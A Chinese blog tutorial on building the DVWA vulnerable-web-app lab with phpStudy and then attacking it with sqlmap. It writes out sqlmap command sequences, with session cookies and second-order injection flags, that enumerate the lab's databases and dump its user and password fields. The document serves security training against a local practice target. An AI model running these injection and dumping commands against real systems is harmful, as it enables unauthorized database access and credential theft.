SQL注入(DVWA靶场搭建及使用、sqlMap注入、sqlmap问题及解决办法)

sqlmap使用教程

1、客户端向服务端请求的流程

2、SQL注入常见分类

 3、SQL注入常见过程

 4、SQL注入的作用

 5、常用SQL测试语句

 注释字符:

DVWA靶场搭建及使用(详细图文)

一、下载DVWA
下载地址:DVWA/README.zh.md at master · digininja/DVWA · GitHub
这里我是从GitHub上下载的,小伙伴们自行选择

二、安装DVWA
在安装前,需要做一个准备工作,我们先去做一个PHP+Mysql的环境搭建。

1.下载、安装、启动phpstudy,小皮面板(phpstudy) - 让天下没有难配的服务器环境!

(phpStudy是一个PHP调试环境的程序集成包。恰好我们可以用到"PHP+Mysql+Apache"。)

注意开启apache和mysql

2、将下载的DVWA解压到phpstudy网站根目录下。

例如:我这解压后的路径是“D:\phpStudy\WWW\DVWA-master\”(这里为了后面进入目录方便,我会将文件名改成DVWA)

3、将 config.inc.php.dist 复制一份或重命令为 config.inc.php;

例如:我的配置文件路径是“D:\phpStudy\WWW\DVWA-master\config”。

注意:有的小伙伴操作系统可能会默认不显示文件后缀名,改为显示后缀名之后再重命名文件类型 config.inc.php.dist→config.inc.php。这步必须做。

4、修改 config.inc.php 里代码如下:

$_DVWA[ 'db_server' ]   = '127.0.0.1'; #数据库地址
$_DVWA[ 'db_database' ] = 'dvwa'; #数据库名称
$_DVWA[ 'db_user' ]     = 'root'; #数据库用户名
$_DVWA[ 'db_password' ] = 'root'; #数据库密码
因为phpstudy默认的mysql数据库地址是“127.0.0.1 或 localhost",用户名和密码都是"root"。主要是修改’db_password‘为root,这里很重要,修改后自然是需要保存文件的。

三、DVWA使用

1、设置或重置数据库

浏览器只需要直接打开“http://搭建环境的系统ip/DVWA-master/setup.php”即可!如果有”标红“提示,可能你要打开一些模块或做一些设置,否则有些是不能实验的,例如:文件包含、文件上传漏洞。

                如:红色字体显示“DVWA-PHP function allow_url_include: Disabled”错误

                需要改的不是DVWA文件夹下的php.ini,而是你安装的php的php.ini。

                由于我使用的是PHPstudy,找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On,错误得到解决。

拉到下面,点击Setup/Reset DB,点击Create/Reset Database。会看到创建成功提示!

2、登陆

浏览器打开”http://127.0.0.1/DVWA-master/login.php“登陆。默认用户名:admin,默认密码:password;

注意:若在kali中不能访问页面,需要设置或关闭Windows服务器中防火墙。

3、设置程序安全级别
浏览器打开”http://你自己ip/DVWA-master/security.php“来做设置,分别有”低、中、高、不可能“,程序安全级别越低,说明越容易被攻破,没有做任何的安全防护。主要是用来自我挑战不同等级的程序防护级别的!

 环境配置好,可以开打啦!

他山之石

sqlmap使用教程icon-default.png?t=N7T8https://blog.csdn.net/Gherbirthday0916/article/details/126857683

DVWA靶场通关教程icon-default.png?t=N7T8https://blog.csdn.net/CYwxh0125/article/details/122460851?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1-122460851-blog-127086871.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1-122460851-blog-127086871.pc_relevant_landingrelevant&utm_relevant_index=1

SQLMAP注入DVWA实战icon-default.png?t=N7T8https://blog.csdn.net/m0_62636343/article/details/124733514

 sqlmap问题及解决办法

利用sqlmap对DVWA中Low进行SQL注入

输入: python sqlmap.py -u http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1

 报错:不可注入…提示

用一个带上一个响应包注入成功了

 切记: sqlmap.py -u 后面是跟URL
sqlmap.py -r 后面是跟响应数据
sqlmap进行注入时,最好使用-r

最后再复习一下sqlmap注入命令:

1、是否存在注入点

python sqlmap.py -r “响应包路径”

2、获取注入点所有数据库

python sqlmap.py -r “响应包路径” --dbs

3、获取当前使用的数据库

python sqlmap.py -r “响应包路径” --current-db --batch

4、获取数据库中的表

python sqlmap.py -r “响应包路径” --table -D “数据库名” --batch

5、获取表中的字段信息

python sqlmap.py -r “响应包路径” --columns -T “表名” -D “获取的数据库名” --batch

6、获取字段具体信息

python sqlmap.py -r “响应包路径” --dump -C “字段名(可多个)” --columns -T “表名” -D “数据库名” --batch

7、当前使用的账户

python sqlmap.py -r “响应包路径” --current-user

8、列出所有使用过的账户

python sqlmap.py -r “响应包路径” –users

9、mysql的登录账户和密码

python sqlmap.py -r “响应包路径” –passwords

例1:sqlmap.py -r 后面是跟响应数据

第一步:复制durp工具捕获的请求代码,生成aa.txt文件。

第二步:sqlmap 注入

sqlmap -r "/home/hfy/桌面/aa.txt" -D dvwa -T users -C user,password --dump

获得数据库

获得dvwa库中表

获得users表中列(字段)

获得user,password字段值。

例2:sqlmap.py -u 后面是跟URL

第一步:durp工具捕获的请求COOKies

浏览器登录dvwa靶场——设置安全级为LOW——选择SQL Injection——输入任意ID号——点击Submit(浏览器要启用代理:127.0.0.1,端口8080)

durp中在Proxy下开启Intercept is on

第二步:sqlmap注入

使用-u参数来指定目标URL,--dbs进行数据库爆破

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --dbs

之后可得到数据库信息:

爆破成功,接下来可进行数据库查看等一系列操作。

-D dvwa -tables: 查看数据库dvwa中的表

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -tables

-T users -columns:查看表user中的字段名

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -T users -columns

-C user,password --dump:获取字段user,password信息

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie "security=low; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" -D dvwa -T users -C user,password --dump

.DVWA等级--mid爆破方法:

同例1:sqlmap.py -r 后面是跟响应数据

DVWA等级--high爆破方法:

需要二阶sql注入(--second-order)

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" --dbs

 可以查看数据库信息了。

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -tables

得到了数据中表信息。

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -T users -columns
得到了表中字段信息。

sqlmap -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" --cookie "security=high; PHPSESSID=0sqh5r9gjs3kog9cd3uvq1vhgv" --second-url "http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php" -D dvwa -T users -C user,password -dump

得到了user,password字段的值。

  • 23
    点赞
  • 59
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
DVWA(Damn Vulnerable Web Application)是一个漏洞模拟环境,用于进行Web应用程序的安全测试和学习。下面是DVWA靶场搭建的过程及报错解决方法: 1. 首先,下载DVWA。你可以在官方网站上下载DVWA的压缩包。 2. 解压缩下载的压缩包,并将解压后的文件夹放在你的Web服务器的根目录下。 3. 打开DVWA文件夹中的config文件夹,并将config.inc.php.dist文件复制一份,并将复制的文件重命名为config.inc.php。 4. 编辑config.inc.php文件,将其中的数据库参数修改为你的数据库信息。确保将user和password修改为root,并保存文件。 5. 在浏览器中输入你的Web服务器地址,并进入DVWA靶场的安装界面。 6. 点击"Create/Reset Database"按钮,创建或重置数据库。 7. 随后,你将被重定向到DVWA的登录页面。使用默认的用户名和密码(admin/password)进行登录。 8. 完成登录后,你可以选择不同的难度级别(如Low、Medium、High)来进行漏洞测试和学习。 对于报错"Illegal mix of collations for operation 'UNION'"的解决方法: 1. 这个报错通常是由于编码问题引起的。你可以通过下载PhpMyAdmin来修改编码。 2. 首先,在百度上搜索并下载PhpMyAdmin。将下载的压缩包解压缩到你的Web服务器的WWW目录下。 3. 对PhpMyAdmin进行配置。可以参考这篇文章:https://m.php.cn/article/361433.html。按照文章中的步骤进行配置。 4. 配置完成后,在浏览器中输入你的主机IP地址或localhost,然后加上PhpMyAdmin文件夹的名字(根据你的配置进行修改),进入PhpMyAdmin的登录界面。 5. 默认情况下,用户名和密码都是root。登录后,在左边的选项中选择dvwa,在右边的选项中单击"操作",然后往下滑动到"排序规则",将原来的编码改为"utf8_general_ci"。选择好编码后,单击右下角的"执行"。 6. 最后,关闭PhpMyAdmin,并重新启动Apache和MySQL。 现在,你可以重新打开DVWA靶场,将难度级别调至Low,并尝试之前报错的那条操作,应该已经成功了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值